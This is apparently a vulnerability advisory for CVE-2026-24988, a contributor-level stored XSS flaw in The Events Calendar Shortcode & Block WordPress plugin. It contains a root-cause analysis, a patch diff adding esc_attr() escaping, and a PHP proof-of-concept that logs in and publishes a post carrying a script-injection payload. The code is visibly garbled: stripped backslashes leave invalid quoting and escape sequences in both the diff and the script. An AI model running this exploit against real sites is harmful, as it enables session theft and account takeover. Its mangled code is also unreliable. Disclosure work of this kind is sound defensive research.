Atomic Edge analysis of CVE-2026-24988:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in The Events Calendar Shortcode & Block WordPress plugin versions up to and including 3.1.1. The vulnerability allows attackers with contributor-level or higher permissions to inject malicious scripts into pages. These scripts execute when users view the compromised pages.
Atomic Edge research identifies the root cause as insufficient output escaping in the plugin’s shortcode attribute rendering function. The vulnerable code resides in the `the-events-calendar-shortcode/block/init.php` file within the `ecs_render_shortcode` function. Lines 115-140 demonstrate multiple instances where user-controlled attribute keys and values concatenate directly into HTML output without proper escaping. The function processes JSON-decoded attributes from the block editor and builds a shortcode string for execution.
The exploitation method requires authenticated access with contributor privileges or higher. Attackers craft malicious event listing blocks through the WordPress block editor. They inject JavaScript payloads into block attributes that the plugin stores as post content. When the plugin renders the `[ecs-list-events]` shortcode, it outputs these attributes directly into the page HTML without escaping. Atomic Edge analysis confirms attackers can target any attribute parameter processed by the vulnerable function, including custom attributes defined through the `kv_attributes` JSON structure.
The patch adds proper output escaping using WordPress’s `esc_attr()` function. In `the-events-calendar-shortcode/block/init.php`, the developer wraps attribute keys and values with `esc_attr()` calls. Line 118 changes from direct concatenation to escaped output for JSON-decoded attributes. Line 133 adds escaping for the `contentorder` attribute value. Line 138 applies escaping to all other attribute keys and values. These changes ensure user-controlled data outputs as HTML attributes rather than executable code.
Successful exploitation enables attackers to perform actions within the victim’s browser context. Attackers can steal session cookies, redirect users to malicious sites, or perform administrative actions if an administrator views the compromised page. The stored nature means the payload persists across sessions and affects all users who view the page. Contributor-level access makes this vulnerability accessible to many WordPress users.
--- a/the-events-calendar-shortcode/block/init.php
+++ b/the-events-calendar-shortcode/block/init.php
@@ -115,7 +115,7 @@
$kv_attributes = json_decode( $value );
foreach ( $kv_attributes as $kv_attribute ) {
- $attribute_str .= " {$kv_attribute->key}="{$kv_attribute->value}"";
+ $attribute_str .= " " . esc_attr( $kv_attribute->key ) . "="" . esc_attr( $kv_attribute->value ) . """;
}
continue;
}
@@ -130,18 +130,18 @@
return $option['value'];
}, $contentorder_items );
- $attribute_str .= " contentorder="" . implode( ',', $contentorder_items ) . """;
+ $attribute_str .= " contentorder="" . esc_attr( implode( ',', $contentorder_items ) ) . """;
}
continue;
}
if ( isset( $attributes[ $key ] ) && ! empty( $attributes[ $key ] ) ) {
- $attribute_str .= " {$key}="{$value}"";
+ $attribute_str .= " " . esc_attr( $key ) . "="" . esc_attr( $value ) . """;
}
}
- $shortcode_str = "[ecs-list-events{$attribute_str}]";
+ $shortcode_str = '[ecs-list-events' . $attribute_str . ']';
return do_shortcode( $shortcode_str );
}
--- a/the-events-calendar-shortcode/the-events-calendar-shortcode.php
+++ b/the-events-calendar-shortcode/the-events-calendar-shortcode.php
@@ -3,7 +3,7 @@
* Plugin Name: The Events Calendar Shortcode & Block
* Plugin URI: https://eventcalendarnewsletter.com/the-events-calendar-shortcode/
* Description: Add shortcode, block and Elementor widget functionality to The Events Calendar Plugin, so you can easily list and promote your events anywhere.
- * Version: 3.1.1
+ * Version: 3.1.2
* Author: Event Calendar Newsletter
* Author URI: https://eventcalendarnewsletter.com/the-events-calendar-shortcode
* Contributors: brianhogg
@@ -93,7 +93,7 @@
if ( ! class_exists( 'Events_Calendar_Shortcode' ) ) {
class Events_Calendar_Shortcode {
- const VERSION = '3.1.1';
+ const VERSION = '3.1.2';
private $admin_page = null;
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24988 - The Events Calendar Shortcode & Block <= 3.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2026-24988
* Requires contributor-level credentials for the target WordPress site
* This script demonstrates stored XSS via the plugin's block attributes
*/
$target_url = 'https://vulnerable-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';
// Payload to inject - simple alert demonstrating XSS
$xss_payload = '"><script>alert(document.domain)</script>';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-login.php',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
])
]);
$response = curl_exec($ch);
// Check if login succeeded by looking for dashboard indicators
if (strpos($response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// Create a new post with malicious block attributes
$post_data = [
'post_title' => 'XSS Test Post',
'post_content' => '<!-- wp:the-events-calendar/ecs-list-events {"kv_attributes":"[{"key":"class","value":"' . $xss_payload . '"}]"} /-->',
'post_status' => 'publish',
'post_type' => 'post'
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/post-new.php',
CURLOPT_POSTFIELDS => http_build_query($post_data),
CURLOPT_REFERER => $target_url . '/wp-admin/post-new.php'
]);
$response = curl_exec($ch);
// Extract the post ID from the response
if (preg_match('/post=([0-9]+)/', $response, $matches)) {
$post_id = $matches[1];
echo "Exploit successful. Visit: " . $target_url . "/?p=" . $post_id . "n";
echo "The page should execute JavaScript when loaded.n";
} else {
echo "Post creation may have failed. Check permissions.n";
}
curl_close($ch);
unlink('cookies.txt');
?>